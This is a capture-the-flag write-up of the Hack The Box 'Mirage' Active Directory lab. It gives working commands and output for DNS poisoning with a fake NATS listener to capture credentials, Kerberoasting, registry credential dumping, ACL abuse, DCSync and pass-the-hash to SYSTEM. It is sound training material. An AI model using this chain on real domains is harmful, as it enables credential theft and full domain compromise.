Hack The Box · Lab
HardWindowsActive Directory

IP: 10.10.11.78 | Difficulty: Hard | OS: Windows


Environment Setup

export IP=10.10.11.78
echo "10.10.11.78  dc01.mirage.htb mirage.htb nats-svc.mirage.htb" >> /etc/hosts

Step 1 — Port Scan

Why: Map the attack surface. NFS on a Domain Controller is anomalous and immediately flags a misconfiguration worth enumerating.

nmap -sC -sV -p- --min-rate 5000 -oN mirage.nmap 10.10.11.78

Output:

PORT      STATE SERVICE    VERSION
53/tcp    open  domain     Simple DNS Plus
111/tcp   open  rpcbind    2-4 (RPC #100000)
135/tcp   open  msrpc      Microsoft Windows RPC
389/tcp   open  ldap       Microsoft Windows AD LDAP (Domain: mirage.htb)
445/tcp   open  microsoft-ds?
2049/tcp  open  nfs        (NFS)
5985/tcp  open  http       Microsoft HTTPAPI 2.0
9389/tcp  open  mc-nmf     .NET Message Framing

Key findings:


Step 2 — NFS Mount — Report Enumeration

Why: NFS exports without authentication controls expose internal files to any network host. PDF reports from internal services often leak infrastructure details.

showmount -e 10.10.11.78

Output:

Export list for 10.10.11.78:
/MirageReports (everyone)
mount -t nfs 10.10.11.78:/MirageReports /mnt/nfs
ls /mnt/nfs

Key findings:


Step 3 — DNS Poisoning — Fake NATS Server

Why: The DC allows unauthenticated dynamic DNS updates (misconfigured nsupdate). By pointing nats-svc.mirage.htb at our IP and running a minimal NATS listener, we capture the CONNECT frame with plaintext credentials.

nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 60 A 10.10.14.X
> send

Fake NATS server to capture the CONNECT frame:

import socket

s = socket.socket()
s.bind(("0.0.0.0", 4222))
s.listen(5)

while True:
    client, addr = s.accept()
    client.sendall(b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n')
    data = client.recv(1024)
    print(data.decode())
    client.close()

Output:

[+] Connection from ('10.10.11.78', 54374)
CONNECT {"verbose":false,"pedantic":false,
  "user":"Dev_Account_A","pass":"<REDACTED>",
  "tls_required":false,...}

Key findings:


Step 4 — NATS — Auth Log Extraction

Why: Dev_Account_A has access to the auth_logs JetStream stream. Auth logs contain credentials of other domain users who authenticated through the service.

nats context add dev-nats \
  --server nats://dc01.mirage.htb:4222 \
  --user Dev_Account_A \
  --password '<REDACTED>'

nats --context dev-nats consumer add auth_logs audit-reader \
  --pull --ack=explicit

nats --context dev-nats consumer next auth_logs audit-reader \
  --count=5 --wait=5s --ack

Output:

{"user":"david.jjackson","password":"<REDACTED>","ip":"10.10.10.20"}
nxc ldap 10.10.11.78 -u david.jjackson -p '<REDACTED>' -k

Output:

[+] mirage.htb\david.jjackson:<REDACTED>

Key findings: Auth log messages contain plaintext credentials for david.jjackson — valid domain account confirmed against LDAP.


Step 5 — Kerberoasting — nathan.aadam

Why: Authenticated domain users can request TGS tickets for any SPN. Service accounts with weak passwords can be cracked offline. david.jjackson allows us to enumerate and roast.

getTGT.py mirage.htb/david.jjackson:'<REDACTED>'
export KRB5CCNAME=david.jjackson.ccache

GetUserSPNs.py 'mirage.htb/david.jjackson' \
  -dc-host dc01.mirage.htb -k -request

Output:

ServicePrincipalName       Name           MemberOf
-------------------------  -------------  -----------------------------------
HTTP/exchange.mirage.htb   nathan.aadam   CN=Exchange_Admins,OU=Groups,...

$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$...$<hash>
hashcat -m 13100 nathan.aadam.hash /usr/share/wordlists/rockyou.txt

Output:

<hash>:<REDACTED>

Key findings:


Step 6 — WinRM as nathan.aadam

Why: Exchange_Admins typically has WinRM access. Authenticate via Kerberos for a remote shell.

getTGT.py mirage.htb/nathan.aadam:'<REDACTED>'
export KRB5CCNAME=nathan.aadam.ccache
evil-winrm -i dc01.mirage.htb -r mirage.htb

Output:

*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>

Key findings: Shell as nathan.aadam. user.txt on Desktop.


Step 7 — Winlogon Credential Recovery — mark.bbond

Why: Winlogon stores AutoLogon credentials in the registry in plaintext. Useful when a service account or admin has been configured for automatic login.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Output:

DefaultUserName    REG_SZ    mark.bbond
DefaultPassword    REG_SZ    <REDACTED>

Key findings: mark.bbond:<REDACTED> stored in plaintext in the registry for auto-login.


Step 8 — ForceChangePassword → javier.mmarshall

Why: BloodHound reveals mark.bbond has ForceChangePassword over javier.mmarshall. This ACL allows changing another account's password without knowing the current one — instant lateral move.

$NewPass = ConvertTo-SecureString '<REDACTED>' -AsPlainText -Force
Set-DomainUserPassword -Identity javier.mmarshall -AccountPassword $NewPass

Key findings:


Step 9 — DCSync → Domain Admin

Why: javier.mmarshall has GetChangesAll rights — allowing a DCSync attack to dump all domain hashes including the Administrator NTLM.

getTGT.py mirage.htb/javier.mmarshall:'<REDACTED>'
export KRB5CCNAME=javier.mmarshall.ccache

secretsdump.py -k -no-pass dc01.mirage.htb -just-dc-user Administrator

Output:

mirage.htb\Administrator:500:<LM>:<NT>:::
psexec.py mirage.htb/Administrator@dc01.mirage.htb -hashes :<NT>

Output:

C:\Windows\system32> whoami
nt authority\system

Key findings: 🏴 MACHINE PWNED — DOMAIN ADMIN ACHIEVED


Credentials

Account Secret
Dev_Account_A (captured from fake NATS server)
david.jjackson (extracted from NATS auth_logs)
nathan.aadam (Kerberoast cracked)
mark.bbond (Winlogon registry)
javier.mmarshall (ForceChangePassword)
Administrator (DCSync)

Full Attack Chain

NFS /MirageReports → PDFs → NATS service on nats-svc.mirage.htb:4222
  └─ nsupdate: nats-svc.mirage.htb → 10.10.14.X (unauthenticated DNS update)
        └─ fake NATS server → CONNECT frame → Dev_Account_A creds
              └─ real NATS JetStream auth_logs → david.jjackson plaintext creds
                    └─ Kerberoast as david.jjackson → nathan.aadam TGS → cracked
                          └─ evil-winrm Kerberos → nathan.aadam → user.txt
                                └─ Winlogon registry → mark.bbond plaintext
                                      └─ mark.bbond ForceChangePassword → javier.mmarshall
                                            └─ javier.mmarshall DCSync → Administrator NT hash
                                                  └─ psexec PTH → SYSTEM
                                                        🏴 ROOTED

© 0xNRG — Mirage pwned — 2025-05-17